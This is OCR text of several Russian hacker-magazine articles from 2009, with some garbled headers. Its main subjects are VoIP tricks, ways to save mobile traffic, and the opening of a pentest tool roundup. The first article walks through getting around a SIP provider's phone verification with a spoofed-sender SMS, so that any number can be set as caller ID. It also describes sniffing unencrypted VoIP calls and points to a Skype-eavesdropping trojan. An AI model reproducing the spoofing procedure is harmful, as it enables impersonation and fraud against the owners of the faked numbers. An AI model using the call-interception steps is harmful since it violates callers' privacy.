лояльность политики SIP-операторов. Правда, для этого 
приходилось серьезно попыхтеть, чтобы среди огромного 
количества SIP-провайдеров найти тех, кто не фикси-
ровал жестко поле CallerID, позволяя установить в него 
произвольное значение. Повторить фокус сейчас, увы, не 
удалось, поэтому мы решили искать другие варианты.
Подставить в поле CallerID номер своего сотового теле-
фона позволяют большинство операторов, но требуют 
при этом пройти процедуру проверки. Как правило, на 
заявленный тобой номер отправляется SMS-сообщение 
со специальным кодом верификации, который далее 
необходимо ввести на сайте оператора. Хорошая систе-
ма — не обойдешь.
Один из успешнейших российских операторов sipnet 
(sipnet.ru) также поддерживает возможность подста-
новки своего номера, как одну из бесплатных премиум-
услуг. Достаточно выбрать в личном кабинете «Премиум 
услуги  АОН  SMS заказ звонка», где есть кнопка 
«Зарегистрировать сотовый телефон» (становится 
доступной после перечисления на депозит $3) . Но! Для 
регистрации требуется всего лишь отправить со своего 
номера SMS, содержащее код, полученный прямо на 
сайте. Причем само SMS бесплатное и отправляется на 
обычный федеральный номер. Понимаешь, к чему мы 
ведем? Ведь все, думаю, пользовались отправкой SMS 
с подменой номера отправителя? Некоторые сервисы 
предоставляют эту услугу бесплатно, но добавляют в 
сообщение свою информацию, например, рекламу. Нам 
же нужно, чтобы в сообщение не было ничего, кроме 
кода — в противном случае система нас обломает. 
Идеально подходит для этого сервис от Yakoon.com. 
Скачиваем с их сайта специальное клиент-приложение 
и с его помощью регистрируемся в системе.
На указанное при регистрации мыло придет код актива-
ции, который позволит нам залогиниться. А сразу после 
этого телефон порадует тебя звуком пришедшей SMS, 

в котором будет код для получения 3 бесплатных SMS, 
где в качестве отправителя можно указать что угодно, 
хоть даже одни латинские символы. Создаем новое 
SMS — его текст и номер мы уже получили на сайте 
sipnet, осталось только указать номер отправителя. В 
качестве номера можно указать любой номер телефо-
на, например, 123456789. После того, как сообщение 
будет доставлено, в премиум услуге «АОН» появится 
номер, с которого мы отправили сообщение. Осталось 
его выбрать и сделать тестовый звонок — все работает! 
Таких номеров можно зарегистрирвоать несколько, но 
имей в виду, что на каждый из них придет SMS: «Ваш 
номер зарегистрирован в sipnet». Единственное: для 
переключения между номерами и регистрации новых 
придется заходить в личный кабинет. Для большего 
удобства можно набросать небольшой скрипт, который 
сам будет запрашивать номер верификации и через API 
Yakoon’а отправлять SMS для подтверждения номера, а 
затем выбирать его для использования в личном каби-
нете.
По-моему, отличный бонус к и без того хорошему сервису 
с выгодными для России тарифами. Впрочем, sipnet — не 
единственный провайдер, через который можно реализо-
вать аналогичную схему.

КАК ПРОСЛУШАТЬ SKYPE И SIP?
Перехват данных VoIP отличается от традиционного 
снифинга, и хотя снифинг осуществляется по той же 
самой схеме, для сбора пакетов с голосом нужно знать 
некоторые нюансы. Хитрость заключается в том, что 
прослушивание голосового трафика требует перехва-
та пакетов установления связи и ассоциированного 
медийного потока. Сигнальные сообщения используют 
другой сетевой протокол (UDP или TCP) и порт, отлич-
ный от самой передачи данных. В то же самое время 
медиа поток обычно передается через UDP с исполь-
зованием RTP (Real Time Protocol). К счастью, задачи 
по перехвату RTP-пакетов и их декодирования, а также 
анализ сессии может автоматически выполняться про-
двинутыми сниферами. Наш любимый Wireshark (www.
wireshark.org) имеет соответствующий пункт «Statistics 

 VoIP Calls». Получив список VoIP-звонков, можно 
изучить, как происходил обмен данными на графиче-
ской диаграмме или банально прослушать голосовые 
данные. Возможность перехвата VoIP-трафика есть и у 
другой известной утилиты Cain and Abel (www.oxid.it), 
а также UCSniff (ucsniff.sourceforge.net/). Последний, 
помимо прочего, умеет снимать с сети трафик видео-
конференций, сохраняя поток в отдельные AVI-файлы. 
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КЛИЕНТ ДЛЯ ОТПРАВКИ SMS 
С ФЕЙКОВОГО НОМЕРА

ТАКАЯ SMS ПРИХОДИТ НА НОМЕР 
ТЕЛЕФОНА ПОСЛЕ ВЕРИФИКАЦИИ

• Отличная подборка 
софта по VoIP: 
www.voipsa.org/
Resources/tools.php.

• Список провай-
деров, предостав-
ляющих прямые 
телефонные номера в 
разных странах: www.
voip-info.org/wiki/
view+ DID+Service+
Providers.
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Конечно, все это действительно только 
в том случае, если трафик передается в 
незащищенном виде. В качестве противо-
действия сниферам можно использовать 
TLS (Transport Layer Security) для крип-
тования SIP-сигналов и RTP (Secure Real 
Time Protocol) для защиты голоса, однако 
в абсолютном большинстве случаев голос 
передается в открытом виде.
В плане защищенности намного более 
выигрышнее смотрится Skype, который в 
обязательном порядке криптует все пере-
даваемые данные. Ни одного решения 
для перехвата и дешифрования трафика в 
публичном доступе не существует. Многие 
специалисты по ИБ заявляют, что их нет 
даже у спецслужб. И все-таки... отловить 
разговоры по Skype можно, но только если 
получить доступ к системе звонящего. 
Буквально за неделю до того, как номер 
ушел в печать, швейцарский разработчик 
Рубен Уттереггер опубликовал исходники 
трояна, перехватывающего разговоры по 
Skype. Троян принимает команды со спе-
циального сервера и отправляет на него 
аудио-файлы с записями Skype-разговоров 
пользователя. Самая главная изюминка 
малвари заключается в модуле Skype-Tap, 
который перехватывает API-вызовы Skype’а, 
находит среди прочего PCM-данные со зву-
ками, после чего преобразовывает их в MP3 
и шлет на сервер-хранилище в зашифро-
ванном виде. Некоторые особенности троя-
на, а также сами сорцы с довольно простым 
кодом ты можешь на сайте разработчика: 
www.megapanzer.com.

КАК ЗАВЕСТИ БЕСПЛАТНЫЙ 
НОМЕР ЗА ГРАНИЦЕЙ
Одна из интереснейших услуг Skype’а с 
давних времен была опция SkypeIn, позво-
ляющая завести номер в США и принимать 
звонки, используя клиент Skype. Правда, за 
ее использование взимается абонентская 
плата, что сильно препятствует подклю-
чению ее ради баловства. :) И вот теперь 
обзавестись собственным номером в других 
странах можно совершенно бесплатно. 
Groovy Tel (www.groovytel.com) предостав-

ляет бесплатный номер в Штатах. Каждый 
звонок на этот номер будет переадресован 
одной из систем, в которой реализова-
но голосовое общение: Google Talk, MSN 
Messenger, Yahoo Messenger, Free World 
Dialup или Gizmo. Правда, для регистрации 
тебе придется иметь профиль в социальной 
сети Facebook и обзавестись, как минимум, 
20 друзьями. :) При регистрации позволя-
ют выбрать номер из 3 предложенных, но 
кнопка «Обновить» позволяет очень быстро 
отыскать наиболее достойный вариант. Я 
тестировал систему с GTalk: все отлично 
работает, а при поступлении звонка даже 
отображается номер абонента.
Но принимать звонки через GTalk не всегда 
удобно. Было бы еще лучше, если в каче-
стве точки назначения можно было указать 
свой SIP-аккаунт (купленный у того же 
sipnet). Такую услугу, и опять же бесплат-
но, предоставляет IPKall (www.ipkall.com). 
Поддержка открытых протоколов позволяет 
не только использовать софтварные реше-
ния, но и аппаратные девайсы. Ничего не 
стоит перенаправлять звонки на аккаунт, 
привязанный к VoIP-шлюзу. К такому адап-
теру (от $50) можно подключить самый 
обычный телефон, а в связке с IPKall’а 
на него принимать звонки со своего бес-
платного номера в Штатах. Учти, — у сер-
виса нет мгновенной регистрации и после 
составления заявки придется немного 
подождать. 
Другой подобный сервис JetNumbers (www.
jetnumbers.com) пригодится, если номер 
нужен всего на несколько дней — в тече-
ние триального периода, когда услугой 
можно пользоваться бесплатно. Для про-
верки можно взять номерочек в Аргентине, 
Франции, Мексике, Великобритании, США.

МИНИ-АТС ИЗ ТОЧКИ 
ДОСТУПА!
Для того чтобы поднять офисную АТС, вовсе 
не обязательно приобретать дорогостоящий 
девайс. Если ты внимательно читал наш 
раздел SYN/ACK, то вероятно уже разо-
брался с тем, как поднять программное 
решение на базе Asterix (www.asterisk.org). 

Trixbox, упомянутый в этой статье, вообще 
сводит всю настройку к управлению через 
удобный веб-интерфейс. Одна проблема — 
для работы такой АТС нам необходим сер-
вер с никсами, пускай даже запущенный на 
виртуальной машине. Но... можно обойтись 
и без этого.
Если у тебя дома есть точка доступа или 
другое управляемое сетевое устройство, 
то поднять сервер Asterix можно попро-
бовать прямо на нем. На моей AP-шке Asus 
Wl500gP, о котором я уже не раз писал, 
после обновления firmware прошивкой от 
Oleg’а (oleg.wl500g.info) и установки менед-
жера пакетов ipkg (читай статью «Level-up 
для точки доступа», #106 номер z), инстал-
ляция сводится к нескольким командам:

ipkg uninstall asterisk

ipkg install asterisk14

reboot

Для минимальной функциональности доста-
точно добавить нескольких пользователей 
и привязать их к extention’ам (внутренним 
номерам), воспользовавшись мануалом 
для начинающих: www.en.voipforo.com/
asterisk/asterisk-first-steps.php. После этого 
остается установить на разных машинах 
SIP-клиенты, прописать в них наш сервер и 
учетки. z
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UCSNIF ПЕРЕХВАТАЕТ АУДИО И ВИДЕОПОТОКИ VOIP ПРОИГРЫВАЕМ ПЕРЕХВАЧЕН-
НЫЕ ЗВОНКИ

VOIP С ТЕЛЕФОНА

Совет напоследок. Приложение для звон-
ков через VoIP — обязательный MustHave 
для всех, у кого есть поддержка WiFi или 
3G (в случае ее наличия, разумеется). 
Одним из универсальных вариантов для 
SIP является приложение Talkonaut (www.
talkonaut.ru), которое работает и под 
Symbian S60, и под Windows Mobile, и на 
большом числе самых обычных телефо-
нов, поддерживающих J2ME. В случае со 
Skype’ом вариантов немного, но, к сча-
стью, клиент Fring (www.fring.com) работа-
ет безупречно на большинстве платформ 
для коммуникаторов и смартфонов. 
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Выжми 
максимум
Минус 1900 руб. на мобильном и море потерянного 
времени. Нет, я не пытался выиграть ноутбук, 
отправляя SMS’ки, и не заказывал рингтоны. Я просто 
посидел в инете через GPRS/EDGE. Использовать этот 
сервис без ухищрений — это полное не уважение к 
себе. 

М
обильные операторы давно рассказывают о возможно-
стях EDGE. Обещается, что надстройка на GPRS поможет 
достичь скорости до 474 кбит/c. Цифра, понятное дело, 
чисто теоретическая, и достичь ее можно только в пике, 

если вдруг мобильный оператор расщедрится и выделит тебе 8 тайм-
слотов и будет использовать самую продвинутую схему кодирования. 
А на практике? На деле все совсем по-другому: даже если на телефоне 
горит значок E, это еще не гарантирует, что инет будет работать в 
принципе. Я не шучу: в некоторые местах (справедливости ради стоит 
сказать, что проехал я немного) потери пакетов составляли до 60-70% 
даже при наличии более-менее уверенного приема. Причем ничего 
кроме попытки воспользоваться SIM’кой другого оператора, не по-
могало. Впрочем, даже там где инет есть, сталкиваешься с мизер-
ной скоростью, дичайшими лагами, задержками в резолвинге DNS 
и — при всем при том — нереальными расценками на GPRS-трафик. 
Приятно удивило только одно: пока в Москве операторы лишь пред-
принимают попытки локально ввести 3G, в некоторых регионах он 
уже вполне себе функционирует. Что, впрочем, не умаляет полезность 
тех приемов, которые помогут пользователям мобильного инета и 
просто слабого коннекта сделать серфинг более комфортным, а также 
сэкономить кучу денег. 

ТРИК 1: 
ЮЗАЕМ КОМПРЕССОР TOONEL.NET
Решение toonel.net (www.toonel.net) мы рассматривали уже не раз и 
не два. Клиентская часть приложения, написанного на Java, пред-
ставляет собой локальный проксик. Прописав его в настройках 
браузера, мы переадресуем трафик клиентской части toonel.net, 
которая через специальный сервер запрашивает нужные данные 
и получает их в сжатом виде. Распаковав информацию, toonel.
net возвращает ее обратно браузеру в привычном для него виде. 
Аналогичным образом можно сжимать и другие TCP/IP-протоколы: 
FTP, SMTP и т.д.
У toonel.net есть несколько неоспоримых плюсов. Во-первых, 
использование для разработки языка Java позволило написать 
клиента для Windows, Linux, Mac OS, а также для запуска на любых 
мобильных платформах. Настройка сжимающего туннеля осущест-
вляется через удобный GUI-интерфейс: именно там и настраива-

ются порты, на которых toonel 
принимает подключения, чтобы 
дальше перенаправить их на 
сервер. Настроив программы 
на прием подключений на 7999 
порту, нужно прописать прокси в 
браузере: 127.0.0.1. Аналогичным 
образом можно настроить туннели 
и для других портов: 25 (SMTP), 
110 (POP), 143 (IMAP) и т.д. В 
отдельной вкладке клиента 
ведется наглядная статисти-
ка сжатия.
Собственно, качество 
сжатия — это второй 
плюс этого решения. В 
среднем, с использо-
ванием toonel.net ты 
потребляешь в 2-2.5 
раза меньше трафи-
ка, чем при прямом 
коннекте. И все 
это без какой-либо 
оплаты услуг: toonel.
net полностью бес-
платен. К сожалению, 
свободное исполь-
зование непре-
менно оказывается 
и минусом. Проект 
некоммерческий и 
количество серверов, 
используемых для 
сжатия трафика, сильно 
ограничено. В резуль-
тате, получаем сервис 
который то работает, то не 
работает. В своей поездке 

XÀÊÅÐ  09  /129/  09

Как выжить на слабом коннекте?



мне лишь в половине случаев удалось 
всецело насладиться стабильным 

коннектом через toonel.net, но 
иной раз запросы обрабаты-

вались в лучшем случае 
через раз.
Впрочем, подобный под-

ход используется и в массе 
коммерческих сервисов, которые 
берут за свои услуги небольшие 
денежки, но имеют подобающее 
количество серверов и этого 
недостатка лишены (подробнее 
читай во врезке).

ТРИК 2: 
TURBO-РЕЖИМ 
OPERA’Ы
Я люблю Opera. Норвежские 
парни всегда умели добавить в 
свое детище изюминку. Пускай 
даже самую маленькую фишку, 
но которая реально могла сделать 
серфинг более комфортным. В тоже 
время, они всегда понимали: каким 
бы навороченным ни был браузер, 

ничего не сможет компенсировать 
медленное открытие ресурсов, превра-

щающее серфинг в сплошное мучение. 
Это они когда-то впервые додумались 
сделать на панели инструментов кнопку 
для быстрого отключения картинок. Это 
сейчас такая фишка кажется ерундовой, а 
тогда — реально уникальная фича. Сейчас 
пришло время для другой убойной опции 

— Opera Turbo, которая станет одной из 
ключевых особенностей Opera 10. По 
сути, Opera Turbo делает то же самое, 
что и toonel.net, а именно сжимает 
входящий и исходящий трафик. 
Оптимизация осуществляется на 
одном из многочисленных серве-
ров компании. Браузер исполь-
зует такие серверы в качестве 
посредника, общаясь с ними по 
уже оптимизированному про-
токолу. В результате получаем 
существенный прирост ско-
рости (на слабом коннекте) и 
заметное сокращение рас-
ходов на трафик.
Опция активируется кликом 
по пиктограмме в левом 
нижнем углу браузера. 
Индикатор отображает 
compression rate — т.е. 
коэффициент сжатия тра-
фика. Например, «4x» ука-
зывает на то, что данные 
сжались в 4 раза, и это 
вполне реальный показатель. 
Можно погреть душу, посчитав 
сколько денег сэкономил, если 

навести курсор на иконку: во 
всплывающей подсказке отобра-
зится количество сэкономленного 

трафика в количественном отношении.
Важная особенность технологии в том, что 
даже с использованием компрессии сайт 
отображается именно в том виде, в каком 
был изначально. Turbo-режим прогоняет 
трафик через сервера, которые сжимают 
HTML-ки (несложная задача), перепаковы-
вают изображения Jpeg с меньшим каче-
ством (уровень сжатия зависит от настроек), 
а Flash-ки заменяются скриншотами с 
возможностью загрузки полных роликов. 
При этом вся разметка документа, а также 
динамика, реализованная c помощью 
Ajax и Js-скриптов, по-прежнему остается 
полностью работоспособной. Разработчики 
заверяют, что ни в коем случае не снифают и 
не логируют данные, а все SSL-соединения 
осуществляются без посредника, т.е. напря-
мую. Параноики хотя бы ночь могут спать 
спокойно :).

ТРИК 3: 
OPERA MINI 
ПОД ВИНДОЙ И ЛУНКСОМ
Вообще забавно: о существовании Opera 
знают даже те, у кого компьютера нет в прин-
ципе. Я не шучу: по статистике внушительную 
часть трафика на ресурсы социальных сетей 
генерируют пользователи мобильных браузе-
ров и, прежде всего, Opera Mini. В этом опять 
же заслуга норвежцев: браузер не просто 
классно показывает странички, форматируя 
их для убогого просмотра на небольшом 
экране телефона, но еще и в разы ускоря-
ет серфинг. Секрет в том, что мобильный 
браузер также пропускает весь трафик через 
специальные промежуточные серверы, но в 
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КОММЕРЧЕСКИЕ КОМПРЕССОРЫ ТРАФИКА

В сети существует немало платных сервисов, которые за небольшую денежку гото-
вы предложить то, что toonel.net предлагает бесплатно. А именно — сжатие на лету 
всех передаваемых данных. Разница лишь в том, что эти сервисы имеют достаточ-
ные мощности, чтобы удовлетворять потребностям пользователя, в то время как 
бесплатные решения проседают, не справляясь с нагрузкой. Можно отметить сразу 
несколько вариантов: fasTun (astun.ru), Web2zip (www.web2zip.com), CPROXY (www.
cproxy.com), Gzip Proxy (www.gzip-proxy.ru), WebCompressor (www.webcompressor.ru), 
TrafficCompressor (www.tcompressor.ru). Причем некоторые из них предоставляют 
специальный бесплатный режим, ограничения которого, однако не позволяют расма-
тривать их всерьез. Я же на своем опыте достаточно долго использовал ускоритель 
Globax (globax.biz), когда основным каналом связи у меня был спутниковый Инет, а в 
качестве обратного канала выступал GPRS. Без использования ускорителя серфинг 
вызывал уныние: качает быстро, но серфится с дикими задержками. После освоения 
Globax’а создавалось ощущение, что пользуешься вполне привычным ADSL, плюс ко 
всему экономишь львиную долю трафика. Могу смело рекомендовать этот сервис и 
просто для медленных соединений. Есть вполне доступные тарифы: например, 2$ за 
гигабайт трафика.
Но и тут есть хинт. По глобаксу ты оплачиваешь трафик несжатый. Поэтому разумнее 
не пускать через ускоритель то, что не будет сжиматься, а пускать такие соединения 
напрямую. С помощью расширения FoxyProxy (foxyproxy.mozdev.org) легко создается 
правило, которое несжимаемые файлы закачивает через другой прокси, а остальное 
пускает через глобакс. Правило задается с помощью регеспа, например, так: 

.*\.(gif|ipg|jp(e)?g|png|swf|mp3|mp2|mpeg|avi|xpi|zip|rar|7z|exe|cab|wmv|wma|ogg)
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Программы и утилиты 
из статьи ты обяза-
тельно найдешь на 
DVD-диске.

dvd

DVD

Помимо ускорения 
и оптимизации 
расходов на трафик, 
ускорители вы-
полняют еще одну 
роль. Изменяя твой 
IP-адрес, они поз-
воляют заходить на 
те ресурсы, где 
с твоим настоя-
щим IP-шником не 
пускают. И более 
того — таким об-
разом можно обойти 
некоторые фильтры 
корпоративных 
файрволов, препят-
ствующие обращени-
ям к определенным 
ресурсам.

отличие от Opera Turbo, старательно сохраняющего исхо-
дную разметку страницу, перепаковывает во внутренний 
формат OBML (Opera Binary Markup Language). Разметка 
специально подгоняется под мобильное устройство, изо-
бражения сжимаются, а из всех JS-скриптов выполняются 
только самые простые. Но! В результате таких преобра-
зований достигается сжатие трафика до 7-8 (!) раз. Это, 
в среднем, вдвое больше, чем при использовании Opera 
Turbo. Так может попробовать использовать Mini-версию 
на десктопе?
Opera Mini написана для мобильной версии Java (J2ME), 
поэтому для ее запуска на PC нам понадобится специ-
альный эмулятор — MicroEmulator (www.microemu.org). 
Поскольку это Java-приложение, то работать оно будет на 
любой платформе: Windows, Linux, Mac OS. После запуска 
эмулятора на экране появится изображение импровизи-
рованного телефона. Размер дисплея на телефоне строго 
зафиксирован, что, естественно, нас не устраивает. К сча-
стью, через настройки можно указать устройство, размеры 
экрана которого варьируются как угодно: «Options  Select 
device  Resizable device  Set as default...». Далее нам 
понадобится апплет самой Opera Mini, а именно .jar и .jad 
файлы, которые нужно скачать с ru.opera.com и скормить 
эмулятору через меню «File  Open MIDLet File». Все: после 
этого изображение будет запущено. Единственное — нужно 
убедиться, что апплету разрешен доступ в сеть: «Options  
MIDlet Network access».
Можно попробовать зайти на yandex или xakep.ru и... рас-
троиться, потому что текст по-прежнему располагается 
внутри маленькой области, даже несмотря на размер 
экрана. Чтобы пофиксить, придется обратиться к про-
двинутым настройкам Opera, набрав в адресной строке 
«opera:config». После включения опции «Fit to screen» 
разметка займет всю доступную область виртуального 
экрана. Но опять незадача: форматирование выполняется 
для мобильного телефона, а все-таки хочется работать с 
сайтом в изначальном его исполнении. Для этого лезем 
уже в стандартные настройки браузера и отключаем там 
опцию «Mobile view». После этого странички будут выгля-
дит почти точно так же, как и в обычном браузере. Правда, 
без наворотов с Ajax и Flash.

ТРИК 4: 
ОСВАИВАЕМ OBML
И все-таки пускать в ход эмулятор, чтобы, в 
конце концов, использовать решение, адап-
тированное для удобства работы с телефо-
на, — не самый удачный вариант. Вот если 
бы сжатие через сервера Opera Mini Было 
доступно в обычном браузере... Но почему бы 
и нет? Необходим лишь специальный посред-
ник, который будет преобразовывать докумен-
ты в Opera’овком формате OBML в обычный 
HTML, доступный для любого браузера. В каче-
стве такого посредника отлично будет выступать 

info

INFO
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НАСТРАИВАЕМ OPERA MINI PROXY ЧЕРЕЗ 
ВЕБ-ИНТЕРФЕЙС

КОНФИГУРАЦИОННЫЙ ФАЙЛ ПРОКСИ

В, общем-то, чтобы попробовать эту фишку в дей-
ствии, не дожидаясь полевых условий, установи 
программу NetLimiter Pro (www.netlimiter.com). 
NetLimiter предоставляет возможность шейпера, 
позволяя ограничить для отдельных приложений 
пропускную способность или вообще закрыть им до-
ступ в Cеть. Режимов очень много: можно, например, 
равномерно распределить трафик по всем приложе-
ниям, а можно выставить максимальный приоритет 
для какого-то одного. 
В случае с Mac OS реализовать искусственное огра-
ничение скорости можно, используя такую штуку, как 
pipe. С помощью ipfw и pipe можно ограничить про-
пускную способность, причем не всего канала, а на 
конкретных портах. Например, следующей командой 
мы создаем pipe с ограничением 15 Кб/c наружу:

sudo ipfw pipe 1 config bw 15KByte/s

Далее надо присоединить этот папцп на исходя-
щий трафик на 80 порт: 

sudo ipfw add 1 pipe 1 src-port 80

Таким образом, нужно всего две команды, чтобы 
ограничить скорость коннекта твоего браузера. 
После всех экспериментов пайп удаляется из 
системы командой: 

sudo ipfw delete 1

КАК ИСКУСТВЕННО 
ОГРАНИЧИТЬ КОННЕКТ

Описание разметки 
OBML: 
dev.opera.com/
articles/view/opera-
binary-markup-
language.
Подробнее об ис-
пользовании Opera 
Mini на компьютере:
operafan.net/content/
view/309/2.

links

HTTP://WWW

PC_ZONE
  СТЕПАН «STEP» ИЛЬИН / STEP@GAMELAND.RU /
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Opera Mini Proxy (ompd-proxy.narod.ru).
Как несложно догадаться из названия, утилита 
представляет собой локальный прокси-сервер, 
поэтому для ее использования нужно в настрой-
ках браузера указать проксик — по умолчанию 
127.0.0.1:8080. Opera Mini Proxy отправляет все 
запросы на сервера Opera Mini, принимает ответ 
в формате OBML и на лету преобразует его в 
привычный HTML. Просто, как дважды два.
На том же 8080 порту запускается веб-
интерфейс для управления приложений. 
Конфиг ничего не стоит отредактировать 
вручную через .conf-файл, но через веб-
интерфейс можно создать профайлы с 
разными настройками. Обратиться к нему 
очень просто, набрав в адресной стороке: 
«127.0.0.1:8080». Новый аккаунт создается с 
помощью кнопки «Create new OM Account», 
рядом с которой находится поле для указания 
имени пользователя. Для каждого профиля 
есть несколько важных настроек:
• HTML page width — задает ширину экрана, 
на котором будет отображаться текст. С этим 
значением нужно поиграться так, чтобы полу-
чить наиболее подходящий для твоего раз-

решения вариант;
• Memory size in kb — задает максимальный 
размер блока, загружаемый за один раз. 
Рекомендую увеличить стандартное значение 
(3000) в 2-2.5 раза;
• OM protocol version — используется для 
указания протокола. Рекомендую значе-
ние — 3.
Еще один нюанс — это работа с изобра-
жениями. По умолчанию, вместо картинок 
отображаются прямоугольники, которые 
загружаются при наведении на них мыши. 
Удобная фишка, но если тебя она не 
устраивает, то можно выбрать несколько 
других режимов: «без загрузки изобра-
жений», «с изображением и указанием 
степени сжатия».

ТРИК 5: 
УРЕЗАЕМ 
ВСЕ ЛИШНЕЕ
Еще одно простое правило, как можно сэко-
номить трафик — не загружать то, что тебе 
не нужно. Нет смысла оплачивать просмотр 
рекламы, закачивая пачками многочисленные 
баннеры, всплывающие окошки и Flash-ки. 
Тем более, можно в мгновение отключить все 
сразу. Выше всех похвал утилита Ad Muncher 
(www.admuncher.com). Всего в 400 Кб про-
граммы умещается настоящая гроза для 
рекламы в любом ее проявлении. Правила 
блокировки задаются специальными филь-
трами, с помощью которых можно наладить 
удаление не только стандартных баннеров и 
popup’ов, но и «тяжелой» Flash-рекламы. Да 
что там — ничего и налаживать не надо. В Ad 
Muncher по умолчанию встроена проработан-
ная база регеспов, которые успешно расправ-
ляются с 98% рекламы. Редкий случай, когда 
что-то остается ими незамеченным. Еще один 
важный плюс — программа автоматически 
перехватывает запросы из любого браузера, и 
ее не надо прописывать как локальный прок-
си. Просто установил — и все сразу работает.
Единственное, с чем приходится мириться 
— это платность приложения. Впрочем, есть 
и другие эффективные варианты. Плагин 
Adblock Plus (https://addons.mozilla.org/
en-US/firefox/addon/1865) я устанавливаю 
одним из первых для своего Firefox’а. После 
установки необходимо настроить правила, 
которые будут использоваться для фильтра-
ции рекламы. Такие правила обновляются 
автоматически: необходимо лишь оформить 

подписку на нужный набор регеспов: для 
России предусмотрен особый вариант.

ТРИК 6:
КЭШ — НАШЕ ВСЕ
Браузеры достаточно хорошо кэшируют 
просматриваемые страницы, однако неко-
торые вещи почему-то обходятся стороной. 
К тому же, надо помнить, что у каждого бра-
узера — кэш свой. А я, по правде говоря, 
постоянно пользуюсь несколькими браузе-
рами: Firefox для обычной работы и Google 
Chrome для запуска веб-приложений. 
Поэтому крайне полезным является уста-
новка добротного кэширующего проксика. 
Отличным вариантом является HandyCache 
(www.handycache.ru) от нашего отечествен-
ного разработчика. Эта бесплатная про-
грамма, которая экономит трафик за счет 
кэширования, ускоряет загрузку страниц 
(локальных, естественно), блокирует рекла-
му и позволяет в автономном режиме (без 
подключения к инету) просмотреть любые 
посещенные ранее сайты. HandyCache 
гибко настраивается и, в зависимости от 
URL (адреса) и типа файла (расширения), 
может или брать его из кэша, или всегда из 
Инета или руководствоваться наличием на 
сайте более новой версии файла, а может 
вообще блокировать его загрузку (рекламу 
и прочее нежелательное содержимое сай-
тов) — и это далеко не весь список возмож-
ных действий. Его можно использовать в 
связке с компрессором, указав последнего 
в качестве прокси-сервера.
Еще один хитрый трик — кэширование 
DNS-запросов, эффект от которого особенно 
сильно заметен на медленных соединениях. В 
случае GPRS-коннекта DNS-резолвинг может 
занять секунду, а то и больше. Это время 
можно легко отыграть, если заблаговремен-
но сохранять IP-адреса всех нужных хостов. 
С этим отлично справляется специальный 
модуль в файрволе Outpost (www.agnitum.
ru) или специальная программа Acrylic 
(sourceforge.net/projects/acrylic/).
Маленький совет в завершение: если 
приезжаешь в чужой город и тебе нужен 
нормальный стабильный коннект, попробуй 
найти Wi-Fi спот. Проще всего это сделать, 
воспользовавшись сервисами wifi.mail.ru, 
wifi4free.ru. В моем случае кафе с бесплат-
ным инетом находилось в соседнем доме, 
пока я уверенно отдавал денежки за сла-
бый GPRS-инет :).z

AD MUNCHER СРАЗУ ПОСЛЕ УСТА-
НОВКИ БУДЕТ ВЫРЕЗАТЬ ПРАК-
ТИЧЕСКИ 98% РЕКЛАМЫ

ОТЛИЧНЫЙ ЛОКАЛЬНЫЙ ПРОКСИ 
ДЛЯ КЭШИРОВАНИЯ ДАННЫХ
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РЕЖИМ OPERA TURBO ВКЛЮ-
ЧАЕТ ОДНИМ КЛИКОМ МЫШИ

СТАТИСТИКА ПО РАБОТЕ 
TOONEL.NET



У каждого из команды ][ — свои предпочтения по части софта и утилит для пентеста. Посовещавшись, 
выяснилось, что выбор так разнится, что можно составить настоящий джентльменский набор из прове-
ренных программ. На том и решили. Чтобы не делать сборную солянку, весь список мы разбили на темы. 
Поиск уязвимостей в веб-приложениях — это определенно одна из интереснейших тем.

ËÓ×ØÈÅ ÈÍÑÒÐÓÌÅÍÒÛ ÏÅÍÒÅÑÒÅÐÀ
ÈÑÑËÅÄÎÂÀÍÈÅ ÂÅÁ-ÏÐÈËÎÆÅÍÈÉ

12 TOOLS
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Подставил кавычку в нужном месте — и 
нашел возможность для инъекции? 
Проснись! Давно прошли времена, когда 
пионерские способы помогали найти ошибки 
даже в серьезных проектах. Поиск брешей 
в безопасности стал намного более изощ-
ренным, как и техники для успешной экс-
плуатации уязвимостей. Если раньше легко 
было справиться собственными силами, то 
теперь без вспомогательных инструментов 
не обойтись. Последние не только выполнят 
муторную работу за тебя, но и подскажут, как 
можно воспользоваться багой, а в некоторых 
случаях — даже автоматизируют процесс экс-
плуатации. Итак, приступим? 

Nikto
www.cirt.net/nikto2
Платформа: Windows, Unix
Назвав свой сканнер «никто» разработчики 
сильно слукавили. На деле — это извест-
ный сканер веб-уязвимостей, способный 
сканировать удаленные хосты и проводить 
сложные тесты безопасности. В базе про-
граммы имеется информация о более чем 
3500 уязвимимых сценариях. Информация об 

уязвимостях хранится в специальных базах, 
подключаемых к программе в виде плагинов. 
Последний апдейт приложения был, увы, еще 
в 2007 году, но зато на офсайте (www.cirt.net/
nikto/UPDATES/2.03) по-прежнему появляют-
ся обновления баз. Программа даже поддер-
живает автоматическую подгрузку свежих баз 
с узявимостями, но их и без этого несложно 
устанавливать. Вот если бы вместо этого 
апдейты почаще...
Сам прога написана на Perl’е, поэтому вся 
работа осуществляется из командной стро-
ки. Помимо поиска уязвимых сценариев, 
Nikto попробует определить версию веб-
демона, отыскать файлы с открытыми паро-
лями, а также выполнить десяток других 
проверок. Полноценная поддержка прокси 
(с возможностью авторизации) при пра-
вильном подходе обеспечит тебе безопас-
ность. Правда, о незаметном сканировании 
придется забыть. С самого начала разра-
ботчики сделали упор на скорость скана, не 
заморачиваясь по поводу stealth-методов. 
С другой стороны, ядро Nikto составляет 
известная библиотека LibWhisker, у которой 
в арсенале есть несколько методик для 
обмана IDS. Их сканер безусловно под-

держивает, но большинство из них уже 
устарели.

IBM Rationa Appscan
www-01.ibm.com/software/
awdtools/appscan
Платформа: Windows
Маститый коммерческий продукт, который 
изначально разрабатывался авторитетной 
компанией Watchfire, а потом был куплен 
IBM. Это уже не любительская поделка вроде 
сканера Nikto. Rational Appscan предназна-
чен для аудита Web-приложений и содержит 
не один десяток эвристических методов 
для конкретного изучения каждого скрипта. 
Поиск уязвимостей осуществляется автома-
тически, главное — правильно задать все 
параметры сканирования с помощью специ-
ального мастера. На выходе ты получишь 
отчет о проделанной работе паука, воссозда-
ющего структуру сайта, а также информацию 
о потенциальных брешах в безопасности. 
Appscan детально рассказывает о каждой 
найденной уязвимости, определяя ее кате-
горию: SQL-инъекция, Cross-Site Cripting, 
нуль-байт, скрытые манипуляции с полем, 
переполнение буфера и т.д. Некоторые из 
категорий имеют солидный список разновид-
ностей: если взять SQL-инъекции, то в отчете 
ты легко найдешь разделы с классическими, 
слепыми и инъекциями с помощью кукисов. 
Причем, какой именно параметр можно экс-
плуатировать, покажет сам сканер. Одна из 
немаловажных особенностей  Appscan — тол-
ковое сканирование сложных приложений, 
